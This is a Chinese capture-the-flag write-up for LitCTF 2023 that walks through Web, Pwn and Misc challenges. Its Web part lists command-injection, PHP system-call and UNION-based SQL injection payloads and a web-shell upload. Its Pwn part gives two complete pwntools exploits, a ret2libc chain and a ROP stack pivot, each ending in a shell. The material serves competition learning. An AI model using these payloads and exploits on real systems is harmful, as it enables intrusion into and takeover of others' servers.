LitCTF Writeup By AheadSec

文章详细介绍了多个CTF(CaptureTheFlag)网络安全竞赛中的挑战,包括通过查看源码获取Flag、利用PHP命令执行漏洞、解决SQL注入问题、Pwn类挑战如缓冲区溢出和栈迁移技术,以及Misc类问题,如信息收集和解密等。这些挑战涵盖了Web安全、编程和逆向工程等多个方面。
摘要由CSDN通过智能技术生成

Web

我Flag呢?

直接查看源码,在最底下注释里面找到flag

Follow me and hack me

使用get和post分别传值,得到flag

GET:?CTF=Lit2023

POST:Challenge=i'm_c0m1ng

Ping

command=127.0.0.1;cat /flag&ping=Ping

导弹迷踪

查看网页源码,打开game.js文件
在这里插入图片描述
在game.js中找到flag,加上NSSCTF标志
在这里插入图片描述

PHP是世界上最好的语言!!

在输入栏中直接输入system(‘cat /flag’);即可得到flag,存在命令执行
在这里插入图片描述

作业管理系统

打开环境,在源码中找到 账号密码 均为admin
上传文件一句话木马 然后用蚁剑连接
在这里插入图片描述

Vim yyds

vim异常退出会留下swp文件,访问.index.php.swp会得到源码
放到linux上直接可以看

password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

在这里插入图片描述

这是什么?SQL !注一下 !

嵌套了多层括号,过滤了+和#(没测试完整),其他没什么要注意的
flag不在当前库,在ctftraining库中,最后的payload如下:

?id=0)))))) union select 1,concat(flag) from ctftraining.flag limit 0,1 -- 1

在这里插入图片描述

就当无事发生

一道简单的github泄露题
在这里插入图片描述

LitCTF{g1thub_c0mmit_1s_s0_us3ful}

Flag点击就送!

在这里插入图片描述

考的应该是Flask session伪造
在这里插入图片描述在这里插入图片描述

Http pro max plus

Client-IP:127.0.0.1
Referer:pornhub.com
User-Agent:Chrome
Via:Clash.win

访问:/wtfwtfwtfwtf.php 接着访问/sejishikong.php
在这里插入图片描述

1zjs

js有提示
在这里插入图片描述
/f@k3flag.php
在这里插入图片描述
jsfuck
在这里插入图片描述

彩蛋

第一段flag在我Flag呢?script.min.js文件中
在这里插入图片描述
第二段在Follow me and hack mewww.zip备份文件中
在这里插入图片描述
第三段在作业管理系统
在这里插入图片描述
在这里插入图片描述
第四段在这是什么?SQL !注一下 !

/?id=0)))))) union select 1,concat(password) from ctf.users limit 1,2 -- 1

在这里插入图片描述

NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

Pwn

只需要nc一下~

从Dockerfile文件获取变量FLAG
在这里插入图片描述

口算题卡

from pwn import *

io = remote('node4.anna.nssctf.cn',28253)
#context(arch='amd64',os='linux',log_level='debug',terminal=['tmux','splitw','-h'])

#根据输出跑100次
for i in range(100):
    io.recvuntil(b"What is ")
    #接收符号前字符
    a = int(io.recvuntil(b" ")[:-1])
    #接收符号字符
    z = str(io.recvuntil(b" ")[:-1])[2:-1]
    #接收符号后字符
    b = int(io.recvuntil(b"?\n")[:-2])

    #判断符号,根据符号进行运算
    t = 0
    if z == '+':
        t = a+b
    if z == '-':
        t = a-b
    if z == '*':
        t = a*b
    if z == '/':
        t = a/b

    #将运算的值发送
    io.sendline(b"%d"%(t))

#跑完后获取flag
io.recvuntil(b"flag:")
flag = str(io.recvuntil(b"\n")[:-1])[2:-1]

print('[🦆]flag is :\n\033[1;31m'+flag+'\033[0m')

在这里插入图片描述

狠狠的溢出涅~

ret2libc
泄漏函数真实地址,通过偏移执行未调用过的system(“/bin/sh”)

from pwn import *

#io = process("./pwn4")
io = remote("node6.anna.nssctf.cn",28533)
elf = ELF("./pwn4")
libc = ELF("./libc-2.31.so")
#context(arch='amd64',os='linux',log_level='debug',terminal=["tmux",'splitw','-h'])

main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

pop_rdi = 0x00000000004007d3
ret = 0x0000000000400556

#先存入"\x00"直接略过strlen()函数
payload = b"\x00"
#存入变量到rbp距离的字符
payload += b"A"*0x5f 
#覆盖rbp的值
payload += p64(0) 
#先跳转到ret维持栈平衡
payload += p64(ret) 
#跳转到pop_rdi_ret用于存入参数
payload += p64(pop_rdi) 
#存入puts_got为puts()参数打印puts()真实地址
payload += p64(puts_got) 
#跳转到puts_plt执行puts()函数
payload += p64(puts_plt) 
#跳转回main函数
payload += p64(main)

io.recvuntil(b"Leave your message:\n")
io.sendline(payload)
io.recvuntil(b"Ok,Message Received\n")

puts_addr = u64(io.recvuntil(b"\n")[:-1].ljust(8,b"\x00"))

base = puts_addr - libc.sym['puts']
system = base + libc.sym['system']
bin_sh = base + next(libc.search(b"/bin/sh\x00"))


payload1 = b"\x00" + b"A"*0x5f + p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(main)

io.recvuntil(b"Leave your message:\n")
io.sendline(payload1)
io.recvuntil(b"Ok,Message Received\n")

io.sendline(b"cat flag")
flag = str(io.recvuntil(b"}"))[2:-1]
print('[🦆]flag is :\n\033[1;31m'+flag+'\033[0m')

在这里插入图片描述

ezlogin

read函数读取数量的判断上只判断了低8位
在这里插入图片描述
这个函数调试发现是strcpy
在这里插入图片描述

然后就可以构造ROP链了,构造好后输入PASSWORD触发ROP链在这里插入图片描述
由于程序中没有binsh字符串,所以先read然后栈迁移,栈迁移后再exeve

from pwn import *

# r = process("./pwn")
r = remote("node6.anna.nssctf.cn", "28434")

# gdb.attach(r, "b * 0x40061A\n c")
# sleep(1)

def edit_bit(offset, content):
    bit_payload = b""
    bit_payload = bit_payload.ljust(offset, b"a")
    bit_payload += content
    r.sendafter("Input your password:\n", bit_payload)

pop_rdi_ret = 0x400706
pop_rsi_ret = 0x410043
pop_rdx_ret = 0x448c95
pop_rax_ret = 0x4005af
pop_rsp_ret = 0x401de3
syscall = 0x448C8C

payload = b""
payload = payload.ljust(0x108, b"\x00")
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(syscall)
payload += p64(pop_rsp_ret) + p64(0x6b93f0)

i = len(payload) - 1
substr = b""
while(i >= 0x100):
    if(payload[i] == 0):
        if substr == b"":
            edit_bit(i, b"")
        else:
            edit_bit(i + 1, substr)
            substr = b""
            edit_bit(i, b"")
    else:
        substr = p8(payload[i]) + substr
    i = i - 1

r.sendafter("Input your password:\n", "PASSWORD\x00")

sleep(1)

payload = 5 * b"\x00" + b"/bin/sh\x00"
payload += p64(pop_rdi_ret) + p64(0x6b93e8)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(59)
payload += p64(syscall)
r.send(payload)

r.interactive()

在这里插入图片描述

Misc

签到!

LitCTF{Welcome_t0_LitCTF2023}

What_1s_BASE

NSSCTF{KFC_Cr4zy_Thur3day_V_me_50}

take me hand

在这里插入图片描述
url加密,解码即可:
NSSCTF{Give_y0ur_hand_to_me!!!_plz}

喜欢我的压缩包么

在这里插入图片描述
NSSCTF{Do-u-like-my-zip-p4ck?}

404notfound

在这里插入图片描述

这羽毛球怎么只有一半啊

直接crc爆破一下高度
在这里插入图片描述

破损的图片

修复文件头即可:89 50 4E 47 0D 0A 1A 0A
在这里插入图片描述
在这里插入图片描述

OSINT 探姬去哪了?_1

NSSCTF{松果酒店(郑州农业路店)}

OSINT 探姬去哪了?_2

NSSCTF{漫香音乐酒吧(农科路店)}

OSINT 探姬去哪了?_0

NSSCTF{中国电信大厦}

OSINT 探姬去哪了?_3

NSSCTF{科学校区-第1教学楼-2层-217}

OSINT 这是什么地方?!

NSSCTF{陕西有色榆林新材料集团}

OSINT 小麦果汁

NSSCTF{黑客与精酿}

Mincemeat

升到30级之后自动获取flag
在这里插入图片描述

两仪生四象

# 这脚本写的真烂
str = "坤乾兑艮兑坎坤坤巽震坤巽震艮兑坎坤震兑乾坤巽坤艮兑震巽坤巽艮坤巽艮艮兑兑艮震兑乾坤乾坤坤兑艮艮坤巽坤坤巽坎坤兑离坎震艮兑坤巽坎艮兑震坤震兑乾坤乾坎坤兑坎坤震艮离坤离乾艮震艮巽震离震坤巽兑艮兑坎坤震巽艮坤离乾艮坎离坤震巽坎坤兑坤艮兑震巽震巽坎坤巽坤艮兑兑坎震巽兑"

_hash = {"乾": "111", "兑": "011", "离": "101", "震": "001", "巽": "110", "坎": "010", "艮": "100", "坤": "000"}

list = []
for line in str:
    list.append(_hash[line])
line = "".join(list)
with open('1.txt', 'a') as f:
    for i in range(len(line)):
        f.write(line[i])
        # print(line[i], end="")
        if (i + 1) % 10 == 0:
            f.write("\n")

with open("1.txt", "r") as f:
    lines = f.readlines()
    print("NSSCTF{", end="")
    for i in lines:
        obj = "0b" + i
        print(chr(eval(obj)), end="")
    print("}")

ssvvgg

base64转图片,hex得到提示steghide
在这里插入图片描述

爆破steghide,直接使用stegseek工具(字典py如下),得到flag

with open("1.txt", "a") as f:
    for i in range(1, 1000000):
        a = str(i)
        length = len(a)
        if length != 6:
            lens = 6 - length
            f.write("0" * lens + str(i) + "\n")
        else:
            f.write(str(i) + "\n")

在这里插入图片描述

雪山的秘密

BV1oy4y1i7Va
根据出题人的成分可知这题与原神的雪山有关联,可以将音频上传
https://databorder.com/transfer/morse-sound-receiver

3.2-..3-.23-.32-32.-3..-/..2-223-.32-322-..3-..2-/2.2-3..-232-223-..2-.32-/3.2-..3-.23-3.3-..3-/.32-32.-322-.3.-/.3.-33.-22.-23.-..3-.23-..2-3..-/.2.-..3-2.2-3..-.23-/23.-.33-.32-2.2-3..-/3.2-223-322-332-3..-233

-换空格 .换0 2换1 3换2

201 002 012 021 210 200 /001 112 021 211 002 001 /101 200 121 112 001 021 /201 002 012 202 002 /021 210 211 020 /020 220 110 120 002 012 001 200 /010 002 101 200 012 /120 022 021 101 200 /201 112 211 221 200 122

然后三进制转十进制

19 2 5 7 21 18 /1 14 7 22 2 1 /10 18 16 14 1 7 /19 2 5 20 2 /7 21 22 6 /6 24 12 15 2 5 1 18 /3 2 10 18 5 /15 8 7 10 18 /19 14 22 25 18 17

后面就是将数字转换成26位英文字母得到一段凯撒密码,后移13位(ROT 13)
全部解谜后的结果就是FORTHE,SKYBORNE,FAILED,FORGO,NATION,BUTWE,POWER,THIS,WECANT
在这里插入图片描述

flag: NSSCTF{FOR_THE_NATION_WE_CANT_FORGO_THIS_SKYBORNE_POWER_BUT_WE_FAILED}

easy_shark

简单的蚁剑流量,最后一个流中发现线索

cd "/flag";cat win;echo [S];pwd;echo [E]

2654641fCan you request my question?


(x^2-x**2)+(x-17)(x-77)=0

#gezx{j13p5oznp_1t_z_900y_k3z771h_k001}
[S]
/flag
[E]
766ab9

这里方程有两个解: x=17 or x=77,根据密文猜测是替换字母,并且给了两个参数,猜测是仿射密码:http://www.hiencode.com/affine.html
在这里插入图片描述

NSSCTF{w13e5hake_1s_a_900d_t3a771c_t001_a}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值